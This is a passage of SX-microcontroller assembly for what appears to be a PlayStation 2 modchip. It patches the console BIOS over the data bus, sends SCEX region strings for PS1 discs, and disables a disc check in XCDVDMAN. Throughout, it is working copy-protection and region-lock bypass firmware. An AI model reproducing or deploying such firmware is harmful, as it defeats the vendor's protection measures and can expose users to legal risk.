START_BIOS_PATCH_SYNC_V9toV14_L4 mov w,#$10 mov w,IO_BIOS_DATA-w sb z jmp START_BIOS_PATCH_SYNC_V9toV14 START_BIOS_PATCH_SYNC_V9toV14_L5 sb IO_BIOS_OE jmp START_BIOS_PATCH_SYNC_V9toV14_L5 BIOS_V9toV14_PATCH1 snb IO_BIOS_OE jmp BIOS_V9toV14_PATCH1 mov w,#$45 mov w,IO_BIOS_DATA-w sb z jmp START_BIOS_PATCH_SYNC_V9toV14 mov w,#$0 mov IO_BIOS_DATA,w IFDEF SX48 mov w,#$1f mov m,w ELSE mode $000F ; XFh mode direction for RA, RB, RC output ENDIF mov w,#$0 ; 0000 0000 mov !IO_BIOS_DATA,w ; IO_BIOS_DATA all pins output start patching here once sync call BIOS_WAIT_OE_LO_P1 mov w,#$0 ;send 00,00,00,00 mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P1 mov w,#$0 mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P1 mov w,#$0 mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P1 mov w,#$ff ; 1111 1111 mov !IO_BIOS_DATA,w ; IO_BIOS_DATA all pins input patch end for more sync ;************************************************************************************************** ;New mode select for PSX/DEV mode : ;Check RESET for about 4 sec ( 2 =initial delay + 2 from this routine ) ;if exit before then enter PSX mode , else wait for reset release and wait again for ;10 sec. If RESET is pressed again within 10 sec. then enter DEV mode else ;definitively SLEEP chip for all media that no need patch ( VIDEO , MUSIC , ORIGINALS ). ;************************************************************************************************** ;TEST_RESET MODE_SELECT_START mov w,#10;$a ; 10x100ms ;test RESET for about 1sec mov VAR_DC2,w ;test_l1 MODE_SELECT_TIMER_L1 call DELAY100m snb IO_REST jmp HOLD_BOOT_MODES decsz VAR_DC2 ; repeat n jump to HOLD_BOOT_MODES if under 1sec so tap 1+1=2sec jmp MODE_SELECT_TIMER_L1 MODE_SELECT_TIMER_L2 sb IO_REST ;wait RESET release for PS1_MODE jmp MODE_SELECT_TIMER_L2 mov w,#5;$5 ;debounce RESET for about 0.5 sec buffer for not exact 2sec hold mov VAR_DC2,w ;test_l2 MODE_SELECT_TIMER_L3 call DELAY100m ;test RESET again for about 10.0 sec. decsz VAR_DC2 jmp MODE_SELECT_TIMER_L3 mov w,#100;$64 ;100 mov VAR_DC2,w ;100+25=125 12.5secs ;test_l3 DISABLE_MODE call DELAY100m ;10secs = DISABLE_MODE but 2.5secs for retap of reset for DEV1 sb IO_REST ;resetted ...enter DEV mode page $0600 jmp DEV1_MODE_LOAD_START decsz VAR_DC2 jmp DISABLE_MODE ;...sleep chip , can't wake up without put PS2 into stby sleep ;RESET0 TAP_BOOT_MODE clr fsr clrb PSX_FLAG ;; setb V0_FLAG ;;;; ;RESET_DOWN HOLD_BOOT_MODES snb DEV1_FLAG ;reenter dev mode if rest in dev mode page $0600 jmp DEV1_MODE_LOAD_START setb SOFT_RST ;soft reset may need more than 1 disk patch he he he .... clrb EJ_FLAG setb X_FLAG ;first XMAN patch flag clrb V12LOGO_FLAG ;clear V12 logo flag patch snb V0_FLAG page $0800 jmp PS2_MODE_START_V0 ;PS2 osd patch or PS1DRV init... (based on psx_flag status) page $0200 jmp PS2_MODE_START ;PS2 osd patch or PS1DRV init... (based on psx_flag status) ;--------------------------------------------------------------------- ;PS2 : continue patch after OSDSYS & wait for disk ready... ;--------------------------------------------------------------------- ;PS2_PATCH2 CHECK_IF_START_PS2LOGO clr fsr ;snb V0_FLAG ;; ; ;jmp START_CDDVD_PATCH sb PSX_FLAG page $0400 jmp START_PS2LOGO_PATCH_LOAD ; sb PSX_FLAG ; jmp TRAY_IS_EJECTED ;CDDVD_EJECTED TRAY_IS_EJECTED sb IO_REST ;here from eject jmp TAP_BOOT_MODE ;reset ? snb IO_EJECT jmp TRAY_IS_EJECTED ;wait for tray closed... ;wait for bios cs inactive ( fix for 5 bit bus and cd boot ) ;DELAY1s RESUME_MODE_FROM_EJECT mov w,#5;$5 ;Precise delay routine using RTCC mov VAR_DC2,w ;ld_del0 RESUME_MODE_FROM_EJECT_L1 mov w,#100;$64 ;delay = 100 millisec. mov VAR_DC1,w ;ld_del RESUME_MODE_FROM_EJECT_L2 mov w,#59;$3b ;load timer=61,delay = (256-61)*256*0.02 micros.= 1000 micros. mov rtcc,w ;ld_del1 RESUME_MODE_FROM_EJECT_L3 sb IO_BIOS_CS ;wait again 500msec if bios cs active jmp RESUME_MODE_FROM_EJECT sb IO_REST ;new reset check here ... jmp TAP_BOOT_MODE snb IO_EJECT jmp TRAY_IS_EJECTED ; mov w,rtcc ;wait for timer= 0 ... (don't use TEST RTCC) sb z jmp RESUME_MODE_FROM_EJECT_L3 decsz VAR_DC1 jmp RESUME_MODE_FROM_EJECT_L2 decsz VAR_DC2 jmp RESUME_MODE_FROM_EJECT_L1 call SET_INTRPT ;better here .... clr fsr snb DEV1_FLAG page $0600 jmp START_CDDVD_PATCH ;patch media for DEVMODE mov w,#2;$2 mov VAR_DC4,w mov w,#$32 ;ASCI 2 mov w,VAR_BIOS_YR-w ; is 2002 Year console snb z jmp CONSOLE_2002_JMP ;# of ps2logo patch for PS2 V7 mov w,#1;$1 mov VAR_DC4,w ;MEPATCH CONSOLE_2002_JMP page $0600 IFDEF H2O75KJMPERS clrb IO_CDDVD_OE_A_1R sb IO_CDDVD_BUS_f setb JAP_V8 ENDIF IFDEF JAPv14orv8 setb JAP_V8 ENDIF jmp START_CDDVD_PATCH ;patch ps2 CD/DVD ;------------------------------------------------------------------------- ;NEW NEW NEW patch psx game... and some protected too ;------------------------------------------------------------------------- ;PSX_PATCH PS1_MODE_START_PATCH clr fsr clrb SCEX_FLAG mov w,#$ff mov VAR_PSX_TEMP,w ;autosend correct # of SCEX (max value help bad optics) ;) ;psx_ptc_l0 RUN_PS1_SCEX_INJECT call SEND_SCEX snb SCEX_FLAG jmp PS1_SCEX_INJECT_COMPLETE decsz VAR_PSX_TEMP ; loop sending SCEX jmp RUN_PS1_SCEX_INJECT page $0200 jmp PS2_MODE_RB_IO_SET_SLEEP ;DRVPTC PS1_SCEX_INJECT_COMPLETE snb EJ_FLAG jmp RUN_PS1_SCEX_INJECT ;send all scex after bios patch then sleep mov w,#2;$2 mov VAR_DC4,w ;# of PS1DRV patch for PS2 V7 mov w,#$32 mov w,VAR_BIOS_YR-w snb z jmp PS1_IS_V14orV1toV12PALorNTSC mov w,#1;$1 mov VAR_DC4,w ;DRV PS1_IS_V14orV1toV12PALorNTSC snb V14_FLAG ; check if V14_FLAG set meaning v14/75k decka jmp PS1_V14_PATCH snb UK_FLAG ; fix for ntsc/pal ps1 route v1-12 page $0400 jmp PS1_CONSOLE_PAL_YFIX ; jmp to pal start if pal console page $0400 jmp PS1_CONSOLE_ALL_JMPNTSC ; fall over to ntsc start if no pal flag set ;V14DRV1 PS1_V14_PATCH mov w,#49;$31 mov VAR_DC2,w mov w,#$1 mov VAR_PSX_BC_CDDVD_TEMP,w mov w,#$40 mov VAR_PSX_TEMP,w mov w,#$1b mov VAR_PSX_BITC,w mov w,#$0 mov IO_BIOS_DATA,w page $0400 jmp PS1_MODE_START ;exec psxdrv patch + logo1 + set EJect flag and ret to PSX_PATCH org $0200 ; PAGE2 200-3FF ;-------------------------------------------------------------------------------- BIOS_WAIT_OE_LO_P2 ;-------------------------------------------------------------------------------- snb IO_BIOS_OE ; next byte / wait for bios OE low jmp BIOS_WAIT_OE_LO_P2 ; next byte / wait for bios OE low ret ;--------------------------------------------------------- ; NEW BIOS PATCH ROUT ;--------------------------------------------------------- ;-------------------------------------------------------------------------------- RUN_BIOS_PATCHES_SRAM ;-------------------------------------------------------------------------------- IFDEF SX48RAM mov w,indf mov IO_BIOS_DATA,w inc fsr RUN_BIOS_PATCHES_SRAM_SENDLOOP snb IO_BIOS_OE jmp RUN_BIOS_PATCHES_SRAM_SENDLOOP decsz VAR_DC2 jmp RUN_BIOS_PATCHES_SRAM END_BIOS_PATCHES_SRAM_RESET_IO sb IO_BIOS_OE jmp END_BIOS_PATCHES_SRAM_RESET_IO mov w,#$ff mov !IO_BIOS_DATA,w clr fsr retp ELSE mov w,indf ; SRAM address moved to w and output to IO_BIOS_DATA mov IO_BIOS_DATA,w inc fsr ; +1 to step through the SRAM cached patches mov w,#$10 ; 10h or so always in SRAM address section 6.2.1 or fsr,w ; so that ends in top address of registery which is SRAM access. bottom 0-f reserved so when gets 1f goes 30h than 20h RUN_BIOS_PATCHES_SRAM_SENDLOOP snb IO_BIOS_OE ; next byte / wait for bios OE low jmp RUN_BIOS_PATCHES_SRAM_SENDLOOP ; jmp RUN_BIOS_PATCHES_SRAM_SENDLOOP if IO_BIOS_OE high decsz VAR_DC2 ; loop calling of SRAM cache till VAR_DC2=0 then patch finished, VAR_DC2 set in loading of call here for ea patch jmp RUN_BIOS_PATCHES_SRAM END_BIOS_PATCHES_SRAM_RESET_IO sb IO_BIOS_OE ; next byte / wait for bios OE high jmp END_BIOS_PATCHES_SRAM_RESET_IO ; jmp END_BIOS_PATCHES_SRAM_RESET_IO if IO_BIOS_OE high mov w,#$ff ; 1111 1111 mov !IO_BIOS_DATA,w ; all pins Hi-Z input clr fsr ;moved here ! retp ; patching done. Return from call ENDIF ;---------------------------------------------------------- ;Patch PS2 game... ;---------------------------------------------------------- ;-------------------------------------------------------------------------------- BIOS_PATCH_DATA ;osdsys ;-------------------------------------------------------------------------------- jmp pc+w ;V134 retw $23 retw $80 retw $ac retw $c retw $0 retw $0 retw $0 ;VX retw $24 ; 7 retw $10 retw $3c retw $e4 retw $24 retw $80 retw $ac retw $e4 retw $22 retw $90 retw $ac retw $84 retw $bc mov w,#79;$4f mov VAR_DC3,w ;79 ; #### ber jmp BIOS_PATCH_DATA_PART2_ALL ;V9 retw $24 ; 23 retw $10 retw $3c retw $74 retw $2a retw $80 retw $ac retw $74 retw $28 retw $90 retw $ac retw $bc retw $d3 mov w,#79;$4f mov VAR_DC3,w jmp BIOS_PATCH_DATA_PART2_ALL ;V14 retw $24 ; 39 +8 = 47 retw $10 retw $3c retw $78 retw $2d retw $80 retw $ac retw $40 retw $2b retw $90 retw $ac retw $a0 retw $ff mov w,#79;$4f mov VAR_DC3,w jmp BIOS_PATCH_DATA_PART2_ALL ;V10-12 retw $24 ; 39 +8 = 47 retw $10 retw $3c retw $e4 retw $2c retw $80 retw $ac retw $f4 retw $2a retw $90 retw $ac snb V12_FLAG jmp V12_CONSOLE_20_BIOS_JMP mov w,#70;$46 mov VAR_DC3,w ; 54 + 16 = 70 retw $a4 retw $ec mov w,#79;$4f mov VAR_DC3,w ; 63 + 16 = 79 jmp BIOS_PATCH_DATA_PART2_ALL ;v12 V12_CONSOLE_20_BIOS_JMP mov w,#77;$4d mov VAR_DC3,w ; 61 + 16 = 77 retw $c retw $f9 ;LOAD_END BIOS_PATCH_DATA_PART2_ALL retw $91 ; 63 + 8 = 71 ;;79 retw $34 retw $0 retw $0 retw $30 retw $ae retw $c retw $0 retw $0 retw $0 ;LOAD_PSX1D retw $c7 ; 73 retw $2 retw $34 retw $19 retw $19 retw $e2 retw $ba retw $11 retw $19 retw $e2 retw $ba ;V14 jmp back retw $3c ; 71 + 8 = 79 retw $c7 ; 73 retw $2 retw $34 IFDEF NTSCPS1YFIX75K retw $29 ;19pal/29ntsc yfix pal console ELSE retw $19;$29 ;19pal/29ntsc yfix pal console ENDIF retw $19 retw $c2 retw $bb IFDEF NTSCPS1YFIX75K retw $21 ;11pal/21ntsc yfix pal console ELSE retw $11;$21 ;11pal/21ntsc yfix pal console ENDIF retw $19 retw $c2 retw $bb retw $60 retw $9 retw $8 retw $8 ;PS2_PATCH PS2_MODE_START ;load osdsys data patch for PS2 mode or ps1drv data patch for PSX mode clr fsr sb PSX_FLAG jmp CHECK_IF_V1_v2or3_V4_V5to8 ;ps2 mode selected , skip snb V14_FLAG page $0400 jmp PS2LOGO_PATCHLOAD_22_JMP1 mov w,#11;$b mov VAR_DC1,w ;psx mode : # of patch bytes mov w,#$59 ; 89 ;ps1drv data offset here ... jmp ALL_CONTIUNE_BIOS_PATCH ;:set_psx2 CHECK_IF_V1_v2or3_V4_V5to8 ;ps2 mode data offset clr fsr snb V14_FLAG jmp CHECK_V9to14_REV ;jmp CHECK_V9to14_REV if CHECK_V9to14_REV set meaning W v14/75k+ mov w,#$31 ;ascii 1 mov w,VAR_BIOS_REV-w ;does VAR_BIOS_REV = 1 ;v1 snb z ;skip next line if doesnt = 0 meaning is 1 ascii jmp V1_CONSOLE_11_BIOS ;jmp V1_CONSOLE_11_BIOS if VAR_BIOS_REV did = 1 ascii mov w,#$32 ;ascii 2 mov w,VAR_BIOS_REV-w ;does VAR_BIOS_REV = 2 ;v2-3 snb z ;skip next line if doesnt = 0 meaning is 2 ascii jmp V2or3_CONSOLE_12_BIOS ;jmp V2or3_CONSOLE_12_BIOS if VAR_BIOS_REV did = 2 ascii mov w,#$35 ;ascii 5 mov w,VAR_BIOS_REV-w ;does VAR_BIOS_REV = 5 ;v4 snb z ;skip next line if doesnt = 0 meaning is 5 ascii jmp V4_CONSOLE_15_BIOS ;jmp V4_CONSOLE_15_BIOS if VAR_BIOS_REV did = 5 ascii jmp CHECK_V9to14_REV ;jmp CHECK_V9to14_REV if VAR_BIOS_REV didnt = 5 ascii ;:set_V1 V1_CONSOLE_11_BIOS mov w,#$c0 mov IO_BIOS_DATA,w mov w,#176;$b0 mov VAR_DC3,w mov w,#116;$74 mov VAR_DC4,w jmp V1to8_CONTIUNE ;:set_V3 V2or3_CONSOLE_12_BIOS mov w,#$d8 mov IO_BIOS_DATA,w mov w,#64;$40 mov VAR_DC3,w mov w,#122;$7a mov VAR_DC4,w jmp V1to8_CONTIUNE ;:set_V4 V4_CONSOLE_15_BIOS mov w,#96;$60 mov VAR_DC3,w mov w,#125;$7d mov VAR_DC4,w mov w,#12;$c mov IO_BIOS_DATA,w ;:set_P V1to8_CONTIUNE mov w,#7;$7 ; V5678 mov VAR_DC1,w mov VAR_DC2,w clr w jmp ALL_CONTIUNE_BIOS_PATCH ;:set_Vx CHECK_V9to14_REV mov w,#$2 mov IO_BIOS_DATA,w mov w,#23;$17 mov VAR_DC1,w mov VAR_DC2,w ; VAR_DC1 VAR_DC2 = 17h = 23 mov w,#$37 ;ascii 7 mov w,VAR_BIOS_REV-w ;does VAR_BIOS_REV = 7 ;1.7bios v9-11 50k snb z jmp V9_CONSOLE_17_BIOS mov w,#$39 ;ascii 9 mov w,VAR_BIOS_REV-w ;does VAR_BIOS_REV = 9 ;1.9bios v9-11 50k snb z jmp V9_CONSOLE_19_BIOS mov w,#$30 ;ascii 0 mov w,VAR_BIOS_REV-w ;does VAR_BIOS_REV = 0 ;2.0bios v12 snb z jmp V12_CONSOLE_20_BIOS mov w,#$32 mov w,VAR_BIOS_REV-w snb z jmp V14_CONSOLE_22_BIOS mov w,#48;$30 mov VAR_DC3,w mov w,#125;$7d mov VAR_DC4,w mov w,#7;$7 ; V5678 jmp ALL_CONTIUNE_BIOS_PATCH ;:set_V9 V9_CONSOLE_17_BIOS mov w,#4;$4 mov VAR_DC3,w mov w,#148;$94 mov VAR_DC4,w mov w,#23;$17 jmp ALL_CONTIUNE_BIOS_PATCH ;:set_V14 V14_CONSOLE_22_BIOS setb V10_FLAG setb V14_FLAG mov w,#212;$d4 mov VAR_DC3,w mov w,#169;$a9 mov VAR_DC4,w mov w,#39;$27 jmp ALL_CONTIUNE_BIOS_PATCH ;:set_V10 V9_CONSOLE_19_BIOS setb V10_FLAG mov w,#100;$64 mov VAR_DC3,w mov w,#158;$9e mov VAR_DC4,w mov w,#55;$37 jmp ALL_CONTIUNE_BIOS_PATCH ;:set_V12 V12_CONSOLE_20_BIOS setb V10_FLAG setb V12_FLAG mov w,#124;$7c mov VAR_DC3,w mov w,#169;$a9 mov VAR_DC4,w mov w,#55;$37 ;:loopxx ALL_CONTIUNE_BIOS_PATCH snb DEV1_FLAG jmp SECONDBIOS_PATCH_DEV1_STACK mov VAR_DC3,w IFDEF SX48RAM mov w,#$20 ELSE mov w,#$15 ENDIF mov fsr,w ;:loop LOAD_BIOS_PATCH_DATA mov w,VAR_DC3 call BIOS_PATCH_DATA mov indf,w inc fsr IFDEF SX48RAM ELSE mov w,#$10 or fsr,w ENDIF inc VAR_DC3 decsz VAR_DC1 jmp LOAD_BIOS_PATCH_DATA clr fsr snb PSX_FLAG page $0000 jmp TRAY_IS_EJECTED ;PS2_PATCH2 ;exit osd patch if psx mode selected ... ;:loop0 ; OSDSYS Wait for 60 00 04 08 ... fixed for V10 :) SECOND_BIOS_PATCH_SYNC snb IO_BIOS_OE jmp SECOND_BIOS_PATCH_SYNC mov w,#$60 mov w,IO_BIOS_DATA-w sb z jmp SECOND_BIOS_PATCH_SYNC SECOND_BIOS_PATCH_SYNC_LOOP1 sb IO_BIOS_OE jmp SECOND_BIOS_PATCH_SYNC_LOOP1 SECOND_BIOS_PATCH_SYNC_LOOP2 snb IO_BIOS_OE jmp SECOND_BIOS_PATCH_SYNC_LOOP2 mov w,#$0 mov w,IO_BIOS_DATA-w sb z jmp SECOND_BIOS_PATCH_SYNC SECOND_BIOS_PATCH_SYNC_LOOP3 sb IO_BIOS_OE jmp SECOND_BIOS_PATCH_SYNC_LOOP3 SECOND_BIOS_PATCH_SYNC_LOOP4 snb IO_BIOS_OE jmp SECOND_BIOS_PATCH_SYNC_LOOP4 mov w,#$4 mov w,IO_BIOS_DATA-w sb z jmp SECOND_BIOS_PATCH_SYNC SECOND_BIOS_PATCH_SYNC_LOOP5 sb IO_BIOS_OE jmp SECOND_BIOS_PATCH_SYNC_LOOP5 SECOND_BIOS_PATCH_SYNC_LOOP6 snb IO_BIOS_OE jmp SECOND_BIOS_PATCH_SYNC_LOOP6 mov w,#$8 mov w,IO_BIOS_DATA-w sb z jmp SECOND_BIOS_PATCH_SYNC IFDEF SX48RAM mov w,#$20;15 ELSE mov w,#$15 ENDIF mov fsr,w ;----------------------------------------------------------- ; Patch data for bios OSDSYS ;----------------------------------------------------------- ;:loop1 SECOND_BIOS_PATCH_SYNC_P2 snb IO_BIOS_OE jmp SECOND_BIOS_PATCH_SYNC_P2 mov w,#$7 mov w,IO_BIOS_DATA-w sb z jmp SECOND_BIOS_PATCH_SYNC_P2 SECOND_BIOS_PATCH_SYNC_P3 snb IO_BIOS_OE jmp SECOND_BIOS_PATCH_SYNC_P3 mov w,#$3 mov w,IO_BIOS_DATA-w sb z jmp SECOND_BIOS_PATCH_SYNC_P3 ;:loop66 SECOND_BIOS_PATCH_SYNC_P4 sb IO_BIOS_OE jmp SECOND_BIOS_PATCH_SYNC_P4 SECOND_BIOS_PATCH_SYNC_P4_L1 snb IO_BIOS_OE jmp SECOND_BIOS_PATCH_SYNC_P4_L1 mov w,#$24 mov w,IO_BIOS_DATA-w sb z jmp SECOND_BIOS_PATCH_SYNC_P3 SECOND_BIOS_PATCH_SYNC_P4_L2 sb IO_BIOS_OE jmp SECOND_BIOS_PATCH_SYNC_P4_L2 mov !IO_BIOS_DATA,w SECOND_BIOS_PATCH_SYNC_P4_L3 snb IO_BIOS_OE jmp SECOND_BIOS_PATCH_SYNC_P4_L3 page $0200 call RUN_BIOS_PATCHES_SRAM snb DEV1_FLAG page $0600 jmp FINISHED_RUN_START snb V12LOGO_FLAG page $0400 jmp PS1_MODE_SUCESSFUL_END ;logo patch for V12 page $0000 jmp CHECK_IF_START_PS2LOGO ;end of osd patch IFDEF SX48RAM ;SETUPDEV SECONDBIOS_PATCH_DEV1_STACK mov w,#$27;1c mov fsr,w mov w,VAR_DC3 mov indf,w inc fsr mov w,VAR_DC4 mov indf,w clr fsr mov w,#$4 mov IO_BIOS_DATA,w mov w,#$77 mov VAR_DC2,w page $0200 jmp SECOND_BIOS_PATCH_SYNC SET_V14DRV ;; this problem ??? mov w,#$2f;34 mov fsr,w mov w,#$14 mov indf,w inc fsr mov w,#$2 mov indf,w mov w,#$4b;50 mov fsr,w mov w,#$20 mov indf,w mov w,#$4f;54 mov fsr,w mov w,#$5c mov indf,w inc fsr mov w,#$25 mov indf,w mov w,#$55;5a mov fsr,w mov w,#$8 mov indf,w mov w,#16;$10 mov VAR_DC1,w mov w,#100;$64 mov VAR_DC3,w mov w,#$57;5c mov fsr,w page $0200 ; PAGE2 jmp LOAD_BIOS_PATCH_DATA ELSE ;SETUPDEV SECONDBIOS_PATCH_DEV1_STACK mov w,#$1c mov fsr,w mov w,VAR_DC3 mov indf,w inc fsr mov w,VAR_DC4 mov indf,w clr fsr mov w,#$4 mov IO_BIOS_DATA,w mov w,#115;$73 mov VAR_DC2,w page $0200 jmp SECOND_BIOS_PATCH_SYNC SET_V14DRV mov w,#$34 mov fsr,w mov w,#$14 mov indf,w inc fsr mov w,#$2 mov indf,w mov w,#$50 mov fsr,w mov w,#$20 mov indf,w mov w,#$54 mov fsr,w mov w,#$5c mov indf,w inc fsr mov w,#$25 mov indf,w mov w,#$5a mov fsr,w mov w,#$8 mov indf,w mov w,#16;$10 mov VAR_DC1,w mov w,#100;$64 mov VAR_DC3,w mov w,#$5c mov fsr,w page $0200 ; PAGE2 jmp LOAD_BIOS_PATCH_DATA ENDIF ;---------------------------------------------------------- ;XCDVDMAN routine ;---------------------------------------------------------- ;IS_XCDVDMANX POST_PATCH_4_MODE_START page $0000 ; PAGE1 call SET_INTRPT ;IS_XCDVDMAN POST_PATCH_4_MODE_START2 snb DEV1_FLAG page $0600 jmp FINISHED_RUN_START_P2 mov w,#100;$64 ; 100 mov VAR_DC4,w ; 30-35 sec wait for BIOS ;IS_XCDVDMAN:loop4 POST_PATCH_4_MODE_START_L1 mov w,#255;$ff mov VAR_DC3,w ;IS_XCDVDMAN:loop3 POST_PATCH_4_MODE_START_L2 mov w,#255;$ff mov VAR_DC2,w ;IS_XCDVDMAN:loop2 POST_PATCH_4_MODE_START_L3 mov w,#255;$ff mov VAR_DC1,w ;IS_XCDVDMAN:loopx POST_PATCH_4_MODE_START_L4 sb IO_BIOS_CS jmp POST_PATCH_4_MODE_START_P2 decsz VAR_DC1 jmp POST_PATCH_4_MODE_START_L4 decsz VAR_DC2 jmp POST_PATCH_4_MODE_START_L3 decsz VAR_DC3 jmp POST_PATCH_4_MODE_START_L2 decsz VAR_DC4 jmp POST_PATCH_4_MODE_START_L1 jmp PS2_MODE_RB_IO_SET_SLEEP ; no xcdvdman reload ... ;IS_XCDVDMAN:loop0 POST_PATCH_4_MODE_START_L5 snb IO_BIOS_CS jmp POST_PATCH_4_MODE_START_L4 ;IS_XCDVDMAN:loop1 POST_PATCH_4_MODE_START_P2 mov w,#$a2 ;sync A2 93 23 for V1-V10 mov w,IO_BIOS_DATA-w sb z jmp POST_PATCH_4_MODE_START_L5 call BIOS_WAIT_OE_LO_P2 mov w,#$93 mov w,IO_BIOS_DATA-w sb z jmp POST_PATCH_4_MODE_START_L5 call BIOS_WAIT_OE_LO_P2 mov w,#$34 mov w,IO_BIOS_DATA-w sb z jmp POST_PATCH_4_MODE_START_L5 ;XCDVDMAN clr fsr mov w,#7;$7 mov VAR_DC2,w mov w,#$8 mov IO_BIOS_DATA,w ;send 08 ;xcdvdman1_l0a POST_PATCH4MODE_START_P2_L1 snb IO_BIOS_OE jmp POST_PATCH4MODE_START_P2_L1 mov w,#$27 ;27 18 00 A3 (A3) mov w,IO_BIOS_DATA-w sb z jmp POST_PATCH4MODE_START_P2_L1 call BIOS_WAIT_OE_LO_P2 mov w,#$18 mov w,IO_BIOS_DATA-w sb z jmp POST_PATCH4MODE_START_P2_L1 call BIOS_WAIT_OE_LO_P2 mov w,#$0 mov w,IO_BIOS_DATA-w sb z jmp POST_PATCH4MODE_START_P2_L1 call BIOS_WAIT_OE_LO_P2 mov w,#$a3 mov w,IO_BIOS_DATA-w sb z jmp POST_PATCH4MODE_START_P2_L1 ; patch it ; Addr 00006A28 export 0x23(Cd Check) kill it ; 00006A28: 08 00 E0 03 jr ra ; 00006A2C: 00 00 00 00 nop snb X_FLAG ;first XMAN executed ! jmp POST_PATCH4MODE_END_P2 ;xcdvdman1_next IFDEF SX48RAM mov w,#$20;15 ELSE mov w,#$15 ENDIF mov fsr,w ;xcdvdman1_l1 POST_PATCH4MODE_START_P2_L2 snb IO_BIOS_OE jmp POST_PATCH4MODE_START_P2_L2 nop mov w,#$27 mov w,IO_BIOS_DATA-w sb z jmp POST_PATCH4MODE_START_P2_L2 POST_PATCH4MODE_START_P2_L3 sb IO_BIOS_OE jmp POST_PATCH4MODE_START_P2_L3 mov !IO_BIOS_DATA,w POST_PATCH4MODE_END_P1 snb IO_BIOS_OE jmp POST_PATCH4MODE_END_P1 page $0200 call RUN_BIOS_PATCHES_SRAM sb EJ_FLAG page $0000 jmp TRAY_IS_EJECTED ;jump to EJECTED if no EJ_FLAG = first xman patch for originals jmp POST_PATCH_4_MODE_START2 ;? da verificare !!! ;again POST_PATCH4MODE_END_P2 clrb X_FLAG jmp POST_PATCH_4_MODE_START2 ;patch cddvdman & xcdvdman ;TO SLEEP ... , PERHARPS TO DREAM ... PS2_MODE_RB_IO_SET_SLEEP mode $000A ; XAh WKED_B Each register bit selects the edge sensitivity of the corresponding Port B input pin for MIWU operation. ;todo mov w,#$6 ; 0000 0110 Set the bit to 1 to sense falling (high-to-low) edges. mov !IO_CDDVD_BUS,w ; rb.1 IO_BIOS_CS rb.2 IO_REST high-to-low sense mode $0009 ; X9h Exchange WKPND_B clr w ; 0000 0000 mov !IO_CDDVD_BUS,w ; A bit set to 1 indicates that a valid edge has occurred on the corresponding MIWU pin, triggering a wakeup or interrupt. ; A bit set to 0 indicates that no valid edge has occurred on the MIWU pin. ; The WKPND_B register comes up with undefine value upon reset. mode $000B ; XBh WKEN_B Multi-Input Wakeup/Interrupt (MIWU) function for the corresponding Port B input pin. ; Clear the bit to 0 to enable MIWU operation or set the bit to 1 to disable MIWU operation. snb PSX_FLAG ; jmp PS1_MODE_RB_IO_SET_SLEEP if PSX_FLAG is set jmp PS1_MODE_RB_IO_SET_SLEEP ; skip below io set and jmp PS1_MODE_RB_IO_SET_SLEEP mov w,#$f1 ; 1111 0001 mov !IO_CDDVD_BUS,w ; rb.1 IO_BIOS_CS rb.2 IO_REST rb.3 IO_EJECT enabled sleep PS1_MODE_RB_IO_SET_SLEEP mov w,#$f3 ; 1111 0011 mov !IO_CDDVD_BUS,w ; rb.2 IO_REST rb.3 IO_EJECT enabled sleep org $0400 ; PAGE4 400-5FF ;-------------------------------------------------------------------------------- BIOS_WAIT_OE_LO_P4 ;-------------------------------------------------------------------------------- snb IO_BIOS_OE jmp BIOS_WAIT_OE_LO_P2 ret ;-------------------------------------------------------------------------------- PS2LOGO_PATCH ;-------------------------------------------------------------------------------- jmp pc+w ;LOAD_XMAN retw $0 ; 0 retw $e0 retw $3 retw $21 retw $10 retw $0 retw $0 mov w,#51;$33 mov VAR_DC3,w sb V14_FLAG jmp PS2LOGO_PATCH_not22_JMP1 ;v14? mov w,#13;$d mov VAR_DC3,w retw $40 retw $8 retw $11 retw $3c retw $8 retw $0 retw $32 retw $36 retw $f8 retw $1 retw $92 retw $ac retw $21 retw $0 retw $40 retw $8 retw $b retw $0 retw $32 retw $36 retw $10 retw $0 retw $4 retw $3c retw $18 retw $16 retw $92 retw $ac retw $0 retw $0 retw $4 retw $8 mov w,#70;$46 mov VAR_DC3,w snb V14_FLAG jmp PS2LOGO_PATCH_22_JMP2 ;not v14 patches, how flows? mov w,#51;$33 mov VAR_DC3,w ;v12 PS2LOGO_PATCH_not22_JMP1 retw $8 retw $11 retw $3c retw $c1 retw $0 retw $32 retw $36 retw $18 retw $16 retw $92 retw $ac retw $c retw $0 retw $0 retw $0 ;LOGO2 PS2LOGO_PATCH_22_JMP2 retw $0 retw $0 retw $0 retw $0 retw $20 retw $38 retw $11 retw $0 retw $0 retw $60 retw $3 retw $24 retw $0 retw $0 retw $e2 retw $90 retw $0 retw $0 retw $e4 retw $90 retw $ff retw $ff retw $63 retw $24 retw $26 retw $20 retw $82 retw $0 retw $0 retw $0 retw $e4 retw $a0 retw $fb retw $ff retw $61 retw $4 retw $1 retw $0 retw $e7 retw $24 mov w,#117;$75 mov VAR_DC3,w snb V10_FLAG jmp PS2LOGO_PATCH_19_20_JMP1 mov w,#112;$70 mov VAR_DC3,w retw $d0 retw $80 mov w,#119;$77 mov VAR_DC3,w jmp PS2LOGO_PATCH_11_17_JMP1 ;LOADV10A PS2LOGO_PATCH_19_20_JMP1 retw $50 retw $81 ;LOADL1 PS2LOGO_PATCH_11_17_JMP1 retw $80 retw $af retw $2e retw $1 retw $22 retw $92 retw $2f retw $1 retw $23 retw $92 retw $26 retw $10 retw $43 retw $0 retw $1a retw $0 retw $3 retw $24 retw $3 retw $0 retw $43 retw $14 retw $1 retw $0 retw $7 retw $24 mov w,#171;$ab mov VAR_DC3,w snb V10_FLAG jmp PS2LOGO_PATCH_19_20_JMP2 mov w,#151;$97 mov VAR_DC3,w retw $bd retw $5 retw $4 retw $8 retw $cc retw $80 retw $87 retw $af retw $0 retw $0 retw $7 retw $24 retw $bd retw $5 retw $4 retw $8 retw $cc retw $80 retw $87 retw $af ;V10-12 PS2LOGO_PATCH_19_20_JMP2 retw $af retw $5 retw $4 retw $8 retw $4c retw $81 retw $87 retw $af retw $0 retw $0 retw $7 retw $24 retw $af retw $5 retw $4 retw $8 retw $4c retw $81 retw $87 retw $af ;V14DRV PS2LOGO_PATCHLOAD_22_JMP1 mov w,#39;$27 mov VAR_DC1,w jmp PS2LOGO_PATCHLOAD_22_JMP2 ;XMAN START_PS2LOGO_PATCH_LOAD mov w,#123;$7b mov VAR_DC1,w snb V14_FLAG jmp PS2LOGO_PATCHLOAD_22_JMP2 